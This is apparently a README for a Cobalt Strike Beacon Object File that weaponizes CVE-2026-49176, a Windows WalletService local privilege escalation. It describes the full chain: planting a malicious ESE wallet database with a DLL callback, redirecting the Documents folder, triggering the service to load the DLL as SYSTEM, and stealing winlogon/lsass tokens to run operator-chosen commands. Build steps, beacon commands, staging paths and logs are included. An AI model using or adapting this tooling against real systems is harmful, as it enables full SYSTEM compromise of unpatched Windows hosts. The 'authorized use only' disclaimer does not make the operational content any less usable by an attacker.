用于通过 Windows WalletService(CVE-2026-49176,已于 2026 年 7 月修复)实现本地权限提升的 Cobalt Strike Beacon 对象文件(BOF)。
在中等完整性(标准用户)Beacon 中,该工具会暂存一个恶意的 Wallet ESE 数据库、重定向 Documents 文件夹、触发 WalletService,并以 NT AUTHORITY\SYSTEM 身份在交互式桌面上运行调用者指定的命令行。
仅 BOF 版本。
原始独立 PowerShell PoC:DavidCarliez/CVE-2026-49176_LPE_POC。相同的漏洞根因;不同的投递方式及 SYSTEM 之后的进程启动方式。
仅限授权的安全研究、教育和防御性验证使用。
WalletService 在模拟调用者时解析 FOLDERID_Documents,然后在打开以下文件之前恢复为 LocalSystem:
<Documents>\Wallet\wallet.db
标准用户可以借助 ESE 用户定义的默认值回调(PATH\payload.dll!Export)预置该数据库,将 Documents 指向受控目录,并调用 WinRT WalletManager.RequestStoreAsync / GetItemsAsync,从而使该服务以 SYSTEM 身份加载该 DLL。
技术文章:CVE-2026-49176 漏洞利用开发:从 WalletService 到 SYSTEM
Standard user
→ seed Wallet\wallet.db with ESE persisted callback (DLL!WalletCallback)
→ SHSetKnownFolderPath(FOLDERID_Documents) → staging root
→ trigger WalletService (WinRT RequestStore / GetItems)
→ service opens DB as LocalSystem → LoadLibrary(callback DLL)
→ attacker code runs as SYSTEM ← LPE complete
WalletService 通常使用过滤后的 SYSTEM 令牌(没有可用的 SeAssignPrimaryToken / SeImpersonate 权限)。直接调用 CreateProcess* → 1314。
Original PoC (post-SYSTEM):
DLL → CreateService(shell_broker.exe) → broker → fixed cmd.exe
This BOF (post-SYSTEM):
DLL → steal winlogon/services/lsass token → spawn <command>
→ else CreateService(cmd /c broker) → broker → spawn <command>
bof_pack("bbZ") 打包 wallet_callback.dll + shell_broker.exeresult.txt 诊断| 项目 | 要求 |
|---|---|
| Beacon | x64,中等完整性() |
bof/
├── README.md
├── entry.cpp # BOF orchestrator (go)
├── bofdefs.h / beacon.h
├── beacon-debug.h
├── cve2026_49176.cna
├── build.bat
├── payload/
│ ├── wallet_callback.c
│ └── shell_broker.c
├── bin/
│ ├── BOF/cve2026_49176.x64.o
│ └── payload/
│ ├── wallet_callback.dll
│ └── shell_broker.exe
└── resources/strip_bof.ps1
cd bof
build.bat
| 命令 | 输出 |
|---|---|
build.bat / build.bat both | DLL + broker + x64 BOF |
build.bat payload | 仅 DLL + broker |
build.bat clean | 清理构建产物 |
bin\payload\wallet_callback.dll
bin\payload\shell_broker.exe
bin\BOF\cve2026_49176.x64.o
如果 VS 不是默认安装路径,请编辑 build.bat 中的 VCVARS64 路径。
关键编译标志:/DBOF /GS- /GR- /Gs999999 /GF- /Gy- /Gw- /Od(CS BOF 链接器安全性要求)。
Cobalt Strike → 脚本 → 加载 → cve2026_49176.cna
(每次重新构建后需重新加载。)
beacon> cve2026_49176 C:\Windows\System32\cmd.exe
beacon> cve2026_49176 C:\Windows\Temp\payload.exe
beacon> cve2026_49176 C:\Windows\System32\cmd.exe /c whoami > C:\Users\Public\whoami.txt
%LOCALAPPDATA%\CVE-2026-49176-BOF\CVE49176_<tick>_<pid>\
├── Wallet\wallet.db
└── payload\
├── wallet_callback.dll
├── shell_broker.exe
├── command.txt # UTF-16 LE
└── result.txt
bof_pack(bid, "bbZ", wallet_callback.dll, shell_broker.exe, command)
[*] CVE-2026-49176 SYSTEM exec: C:\Windows\System32\cmd.exe [dll=... broker=... bof=...]
[*] CVE-2026-49176 BOF enter (args=...)
[*] parsed dll_len=... broker_len=... cmd_bytes=...
[*] stage payload...
[+] Seeded wallet.db, column=256
[*] Documents redirected to: ...
[+] WalletService triggered
[*] wait payload result (20s)...
[+] event=SYSTEM_PROCESS_STARTED ... user=SYSTEM detail=winlogon
[+] SYSTEM process launched
[*] Documents restored: ...
[+] CVE-2026-49176 BOF complete
detail= 可以是 winlogon、services、lsass 或 broker 路径。
只要重定向成功,即使失败也会恢复 Documents。
cve2026_49176.cna
└─ inline-execute(entry.o, go, bbZ)
entry.cpp
├─ stage files under %LOCALAPPDATA%
├─ Jet*A seed wallet.db
├─ SHSetKnownFolderPath(Documents)
├─ WinRT WalletManager trigger
└─ wait result.txt + restore Documents
wallet_callback.dll (WalletService, SYSTEM)
├─ steal winlogon / services / lsass token → spawn command
└─ fallback: CreateService(cmd /c shell_broker)
shell_broker.exe
└─ command.txt → CreateProcessAsUser (interactive session)
%LOCALAPPDATA%\CVE-2026-49176-BOF\* + wallet.db + 回调 DLLOpenProcess / 令牌 APICVE49176_* 服务CreateProcessAsUserW / CreateProcessWithTokenW| 链接 | 描述 |
|---|---|
| DavidCarliez/CVE-2026-49176_LPE_POC | 原始独立 LPE PoC(上游研究 PoC) |
| 技术文章 | 原始研究文章 |
| 阶段 | 原始 PoC | 本 BOF |
|---|
| 预置 ESE 数据库 | wallet_ese_seed.exe | BOF 内 Jet*A |
| 重定向 Documents | documents_path.exe | BOF 内 SHGet/SetKnownFolderPath |
| 触发 Wallet | PowerShell WinRT | BOF 内 RoGetActivationFactory |
| 回调 DLL | wallet_callback_shell.dll | wallet_callback.dll |
| 原始 PoC | 本 BOF |
|---|
| 目标进程 | 硬编码的 cmd.exe | 操作员提供的命令行 |
| 主要方法 | 临时服务 → shell_broker.exe → CreateProcessAsUserW | 从 winlogon / services / lsass 窃取令牌 → 派生进程 |
| 回退方案 | 无 | SCM + cmd.exe /c "shell_broker.exe" "result.txt" |
| 目标 | 存在漏洞的 WalletService(2026 年 7 月补丁之前) |
| CS | 支持 BOF 的 Cobalt Strike 4.x |
| 构建 | VS 2019/2022 C++ + Windows 10 SDK(esent.h、WinRT) |
| 日志 | 含义 |
|---|
JetAddColumn: -1003 | ESE 参数问题 |
error=1314 | 过滤后的 SYSTEM;需要令牌窃取 / broker |
STEAL_FAIL error=5 | 无法打开目标进程/令牌 |
StartService error=32 | 共享冲突(已通过 cmd 包装缓解) |
detail=all_methods | 所有 SYSTEM 之后策略均失败 |
链接器 Unknown symbol '??_C@_...' | BOF 构建标志错误;请使用 build.bat 重新构建 |